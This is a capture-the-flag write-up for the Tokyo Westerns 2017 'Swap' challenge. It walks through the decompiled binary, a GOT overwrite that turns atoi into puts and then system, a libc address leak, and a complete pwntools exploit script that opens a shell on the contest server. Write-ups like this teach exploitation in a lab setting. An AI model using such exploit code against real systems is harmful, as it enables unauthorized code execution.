[Pwn] Tokyo Westerns CTF 3rd 2017 - Swap


The swapping is interesting. Let’s try!

nc pwn1.chal.ctf.westerns.tokyo 19937
swap
libc.so.6

We are given an 64 bit ELF for Linux x86-64:

1
2
$ file swap
swap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=74448e9fb5920898de1f9b5115c764eff1c8edac, not stripped

We decompile it using ida’s pseudo c converter:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax@2
void *src; // [sp+20h] [bp-20h]@0
void *v5; // [sp+28h] [bp-18h]@0
char dest; // [sp+30h] [bp-10h]@7

initialize();
while ( 1 )
{
while ( 1 )
{
print_menu();
v3 = read_int();
if ( v3 != 1 )
break;
puts("Please input 1st addr");
src = (void *)read_ll();
puts("Please input 2nd addr");
v5 = (void *)read_ll();
}
if ( v3 == 2 )
{
memcpy(&dest, src, 8uLL);
memcpy(src, v5, 8uLL);
memcpy(v5, &dest, 8uLL);
}
else if ( !v3 )
{
puts("Bye.");
exit(0);
}
}
}

__int64 read_int()
{
__int64 result; // rax@1
char buf; // [sp+10h] [bp-90h]@1

read(0, &buf, 0x10uLL);
result = atoi(&buf);

return result;
}
__int64 read_ll()
{
__int64 result; // rax@1
char buf; // [sp+10h] [bp-110h]@1


read(0, &buf, 0x20uLL);
result = atoll(&buf);
return result;
}

Resuming what the program is actually doing:

1
2
3
Option 1 - Choose two addresses
Option 2 - Swap 2 addresses previously chosen (can be used to switch function addresses for example)
Option 3 - Prints bye and exits

The first thing we can start doing is to get the GOT(Global Offset Table) addresses of the functions we need, we can do this in 3 ways:
objdump

1
$ objdump -R swap

readelf

1
$ readelf -r swap

pwntools

1
2
3
4
5
binary = ELF ( './swap' )
ATOIGOT = binary.got['atoi']
PUTSGOT = binary.got['puts']
READGOT = binary.got['read']
MEMCOPYGOT = binary.got['memcpy']

To get the PLT addresses we can either use objdump or pwntools again
objdump

1
objdump -dj.plt swap

pwntools

1
2
binary = ELF ( './swap' )
PUTSPLT = binary.plt['puts']

Now making a nice function to swap addresses in python :

1
2
3
4
5
6
7
8
9
10
def swap(address1, address2):
print r.recvuntil('Your choice: \n')
send('1')

print r.recvuntil('Please input 1st addr')
send(str(address1))
print r.recvuntil('Please input 2nd addr')
send(str(address2))
print r.recvuntil('Your choice: \n')
send('2')

We can start by thinking into changing memcpy_got and read_got addresses, and why? because with this when we choose the option 2 to swap we will have something like this:

1
2
3
read(&dest, address1, 8uLL);
read(address1, address2, 8uLL);
read(address2, &dest, 8uLL);

The second read is what is interesting to us, we can controll the first two arguments to our advantage, if we choose the 1st address to be the file descriptor 0(STDIN) and the 2nd address the function we want to overwrite.

1
read(0, ATOI_GOT, 0x8); // example: 1st arg: 0, 2nd arg: ATOI_GOT

The next thing to do is to overwrite atoi function and why we want to do it? Because if we overwrite atoi into puts_plt we can leak addresses easily, because we first read them and then print them!

1
2
read(0, &buf, 0x10uLL);
result = puts(&buf);

Now that we overwrite atoi with puts we can start trying to leak libc addresses like this:

1
2
3
4
print r.recvuntil('choice: \n')
r.send("B")
h = u64(r.recv(6).ljust(8, '\x00')) # ljust will convert an address like 0x7f3253354340 into 0x0007f3253354340
print "STACK ADDRESS 0x%x"%h

Now we got a stack address but it’s still not the address we need, we have to calculate the offset of this address to the libcbase address! we can calculate this with help of gdb. Just run your python script (there will be a sleep of 5 seconds and attach the PID address on gdb like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> attach 6865
...outputfrompwngdb...
pwndbg> continue
pwndbg> p system
$1 = {<text variable, no debug info>} 0x7fcb77dea391 <system>

---------------runing-program-in-another-terminal---------------
$ python swap.py
..hidden-output...
1. Set addrsses
2. Swap both addrress of value
0. Exit
Your choice:

STACK ADDRESS 0x7fcb7816a642

Now if we subtract the leaked address from the system address we got from gdb we will get and offset to system function:

1
2
$ python -c "print hex(0x7fcb7816a642 - 0x7fcb77dea391)"
0x3802b1

Adapting the python script:

1
2
3
4
5
6
7
8
9
h = u64(r.recv(6).ljust(8, '\x00'))
print "STACK ADDRESS 0x%x"%h
addr = h-0x3802b1- libc.symbols['system']
LIBCBASE = addr
SYSTEM = LIBCBASE + libc.symbols['system']
#print r.recv(1024)

log.info("LIBC 0x%x" % LIBCBASE)
log.info("SYSTEM 0x%x" % SYSTEM)

We still have a small problem from now on, now that we overwrite the atoi we can’t really choose which option from the menu, well we actually can! puts returns the number of bytes printed! the null byte is included in this count!

1
2
int i = puts('\x00') // returns 1
int i = puts('B\x00') // returns 2

Now we give the input ‘B\x00’ into puts so it will return the value 2! and we overwrite the atoi->puts->system and sent the “/bin/sh\x00” string to get ourselves a shell!:

1
2
3
4
5
6
7
r.send('a\x00') # returns option 2 from puts

print r.recvuntil('choice: \n')
r.send(p64(SYSTEM)) # overwrites atoi -> puts -> system

print r.recvuntil('choice: \n')
r.send('/bin/sh\x00') # passes argument /bin/sh into system

The full script is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
from pwnlib.tubes import *
from pwnlib.util.packing import *
from pwnlib.tubes.process import *
from pwnlib.tubes.remote import *

import struct
import time

def getConn(local):
return process('./swap', env = {"LD_PRELOAD":"./libc.so.6"}) if local else remote('pwn1.chal.ctf.westerns.tokyo', 19937)

def send(s):
print s
r.sendline(s)

def swap(address1, address2):
print r.recvuntil('Your choice: \n')
send('1')

print r.recvuntil('Please input 1st addr')
send(str(address1))
print r.recvuntil('Please input 2nd addr')
send(str(address2))

print r.recvuntil('Your choice: \n')
send('2')


local = False
binary = ELF ( './swap' )
libc = ELF('./libc.so.6')

PUTSPLT = binary.plt['puts']
ATOIGOT = binary.got['atoi']
PUTSGOT = binary.got['puts']
READGOT = binary.got['read']
MEMCOPYGOT = binary.got['memcpy']

r = getConn(local)
swap(MEMCOPYGOT,READGOT)
swap(0,ATOIGOT)
r.send(p64(PUTSPLT))
print r.recvuntil('choice: \n')

r.send("B")

h = u64(r.recv(6).ljust(8, '\x00'))
print "STACK ADDRESS 0x%x"%h
addr = h-0x3802b1- libc.symbols['system']
LIBCBASE = addr
SYSTEM = LIBCBASE + libc.symbols['system']
#print r.recv(1024)

log.info("LIBC 0x%x" % LIBCBASE)
log.info("SYSTEM 0x%x" % SYSTEM)
r.send('a\x00')

print r.recvuntil('choice: \n')
r.send(p64(SYSTEM))

print r.recvuntil('choice: \n')
r.send('/bin/sh\x00')

r.interactive()
r.close()

Running it

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ python swap.py
[*] '~/swap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '~/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
...hidden-output...
STACK ADDRESS 0x7fe5d8827642
[*] LIBC 0x7fe5d8462001
[*] SYSTEM 0x7fe5d84a7391
...hidden-output...
$ cat flag
TWCTF{SWAP_SAWP_WASP_PWAS_SWPA}

I didn’t solve this challenge in the CTF tournament I actually read this write ups(https://ctftime.org/writeup/7387 and https://github.com/sk4px/CTFs/blob/master/tw2017/swap.py) and did the challenge by myself after that.